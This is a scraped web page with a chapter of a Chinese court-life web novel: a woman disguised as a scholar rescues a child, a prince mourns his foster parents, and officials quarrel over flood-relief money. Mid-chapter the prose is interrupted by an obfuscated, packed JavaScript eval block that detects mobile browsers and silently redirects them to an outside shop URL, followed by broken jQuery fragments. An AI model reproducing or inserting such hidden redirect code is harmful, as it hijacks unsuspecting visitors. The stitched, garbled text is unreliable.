17. 慈悲心肠

作品:《在翰林院摸鱼上班的日子

    叶长卿牵着大牛走了一段路之后,却有点犯愁了,他这个在京城毫无根基的单身“男人”,早已习惯了形单影只的生活,从来都是自己伺候自己,一时路见不平突然买了个人,还是个小孩,接下来却不知要如何安排了。


    “你叫大牛,你比牛还大吗?”


    “不是的,这位贵人,俺家里没有牛,俺村就只有里长家才有一头老黄牛,俺爹俺娘做梦都想俺家能有头牛,就给俺取了这个名字,里长家的老黄牛有我四五个大哩。”


    “啊,这么大的牛啊,我只在天上见过。”


    “贵人,你是不是看错了,牛不会飞的,你怎么会在天上看见呢。”


    “怎么不会,吹上去就可以了。”


    “吹....吹.....”大牛狠狠对着天空呼了几口气,似是在求证把牛吹到天上的可能性。


    叶长卿看着李锦隆那厮也不知哪根筋不对,堂堂一个超品国公,竟跟个小孩子似的打趣大牛玩,很是有点没眼看,不过脑筋一转,顺势便戳了戳他,小声道:


    “国公爷,跟你商量个事儿成不?”


    李锦隆才收起玩笑的心思,勾起她的肩膀熟稔道:


    “贤弟,咱俩是什么关系,叫国公爷多生分,我虚长你几岁,你若不嫌弃,唤我一声阿兄也是使得的,况且你有何事,只管道来,你的事就是我的事。”


    好端端的艳阳天,叶长卿硬是觉得后背一冷,真是怪肉麻的,这个曹国公,这话貌似说过不只一遍,怎么什么话从他嘴里说出来都要黏糊几分,她什么时候跟他关系这么好了。


    她不着痕迹的从他臂下撤出肩膀,汗颜道:


    “我见你喜欢大牛,而我在京中除了庶常馆,暂时也没个落脚的地方,你堂堂国公爷,家大业大,不如就将他暂时安排在你府上,也好让他见见世面,待我入了翰林院,在京中扎下脚跟,我再将他接回来,你看成不?”


    “哈哈!你小子。”


    李锦隆抽回的手,按了按她的肩膀笑道:“这有什么问题,就当你小子做好事也有我一份,只大牛虽养在我府上,但到底国公府人员冗杂,我不能方方面顾到,未免你的人在我这里吃了亏,你得多来看看才是。”


    “那是自然,自然。”


    嘿嘿,这个叶长卿脑子与别人不同,多跟她交往自是没有错的,到时候他搞不定的事情尽可以朝她请教,还怕不能重振曹国公府门楣么,李锦隆脑海瞬时精光闪闪。


    而一直走在前面的李修远却是不着痕迹的瞥了两人一眼,他倒是个有心的,只可惜他没有小丫幸运,在童年被最亲的人放弃的绝望瞬间,有那么一个人从天而降,然后坚定的站在了他这边。


    “李锦隆,过来。”


    李修远一声喊,李锦隆赶紧闪离叶长卿的身边,屁颠屁颠朝他奔了过去。


    “去看看城里还有多少卖儿卖女的可怜人,你去将他们都买下来吧,先安置在你府上。”


    李锦隆.......他这是收了个马蜂窝么,叶长卿一塞人,后面跟着来一串啊,曹国公府虽然不缺钱,但是养这么多孩子也怪怪的,京城那些八婆不会又给他编出什么八卦来吧,他至今还没有嫡子呢。


    可别传出他庶子女一大堆的传闻来,不然他这婚事怕是更要雪上加霜了。


    只李修远既然发了话,他心里有许多小九九,但是面上自然是不显,还十分好气的道:


    “还是殿下宅心仁厚,见不得老百姓受苦,臣等随了一路,都没有这样的觉悟,殿下不愧为天家之子,跟咱这些人想的就是不一样.......”


    “让你去办,还啰嗦什么?”


    每次听李锦隆一脸认真的逼逼叨,李修远只觉得好气又好笑,忍不住嘴角一阵抽痛。


    而叶长卿就更觉无语了,没忍住白了他一眼,真正是看人下菜碟的人精,同样是救人,怎么就没给他来一记这舒心的马屁。


    可惜李锦隆听不见她心里的小九九,不然好歹要将她扎给他的马蜂窝还回去。


    .........


    其实上天待李修远也算不薄的,被人买走后,他也曾被收养他的阿爹、阿娘好好相待过的。


    小时候他是个爱疯爱玩爱惹祸的孩子,总向往着快快长大,走出面朝黄天背朝土的村庄,见见外面的世界,常常一走就是大半年,而阿爹、阿娘却总是支持他,每次出发前熬坏了眼睛给他收拾行囊,又在他两手空空回家时盼着他泪流满面。


    他们总是念叨着:“儿啊,不管你走多远,你都是我们唯一的儿子,我们永远都会在原地等你,无论何时你想回来的时候,我们都会给你守好了这个家。”


    那是他第一次体会到“家”的概念,原来不是亲生可以胜似亲生。


    只可惜世事无常,十四岁再次回到家里时,阿爹、阿娘确实还守在家里,只不过却变成了两具枯骨,可即使是枯骨他们干瘦的手指也紧紧抓握着坚实的屋脊,怎么掰都掰不开,他知道他们是在等他,怕他一个人孤零零的回来,冷冷清清的,家里都没个人在等他。


    他们至死都记得曾给过他的承诺。


    可他又给过他们什么?


    是熬坏的眼睛?是苦苦的期盼?还是为了给他治病走了十里地磨破的双脚?还是大火中紧紧将她圈在怀里而烧伤的脊背?


    风卷起一阵黄沙模糊了他的视线,远处那一胚高高隆起的黄土坡,已被洪水吹散得只剩下半截的小包,他微微颌上眼睫,压住那翻涌而出的泪意,缓步走了过去,然后重重一跪。


    身后众人皆是一惊。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358988|199352||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    吴王殿下,这是?


    普天之下,除了当今陛下,还有谁能当得起他的一跪?


    众人跟在身后准备上前,却被梅点心早一步拦了下来,他猫着腰尖着嗓子,也不说明原委,只比了个禁声的手势道:


    “诸位请止步。”


    说完又将之前收到的户部的批示交给户部侍郎钱大人道:


    “钱大人,殿下特地吩咐,让你再想想法子,朝廷的钱下不来,太湖的治水工程没办法开工,这灾情才刚好一点,可不能再拖下去了。”


    钱大人捏着那份户部批示,脸色一阵青一阵白,指尖微微发颤。


    “梅公公,不是本官不办事,只是国库空虚,前线辽东还在对抗北元残部,将士们出生入死都指望着那点军饷养家糊口,户部的银子得紧着那边,陛下才驳回了殿下的奏请,如今怕只能想想别的法子了。”


    梅点心才不管那么多,只一心鼻孔朝天:“钱大人这就是你的不是了,既然还有别的办法,还不快快说出来为殿下分忧,这可是殿下第一次公干,办砸了,咱谁都没有好果子吃。”


    钱谦......他说啥了?他什么时候说他有办法了,这些个太监没读书怎么连听话也不会。


    真是鸡同鸭讲!


    一旁的李锦隆看着左边梅点心一副小人得势、狐假虎威的模样,又看见右边钱谦灰头土脸的有理说不清的吃瘪憨样,差点笑岔气,但是他机灵,知道这时候是绝对不能笑出声的,又见叶长卿也似在隐隐憋着笑,干脆将他清瘦的肩膀一转,两人一起背转过身去,疯狂的扭动着五官。


    直到人群后忽然传来一声沉稳的脚步声,众人侧身让开,吴王一身素色锦袍,眼底藏着难掩的红,面色凝重的走了过来,视线在众人面前扫过,最终落在钱大人身上,声音沉而有力:


    “钱大人,本王知晓国库不易,但太湖沿岸百姓刚从灾情里缓过一口气,若水位再涨,堤坝一旦溃决,之前所有的赈灾努力都将付诸东流,数万百姓又要流离失所,辽东军费紧急,本王能够理解,但是别的地方上就不能有些余银调拨过来吗?”


    钱谦在脑海里思索了遍,边边角角能抠银子的地方都扫射了,确实没得能动的地方,但是看着吴王不容推拒的眼神,无奈只得豁出去了道:“北边不行,南边凤阳修皇陵的银子倒是可以暂且缓缓.......就是不知........”


    他后面的话还没说完,李修远就大步跨上了马背,一甩缰绳朝府衙飞奔而去。


    就连李锦隆来不及出言提醒的话,也只得在空中随风飘舞:


    “殿下,修皇陵的银子不能动呀,那可是陛下的命根子,谁敢打皇陵的主意,陛下都要将他打开花的。”


    前任户部尚书就是为这给打回家的。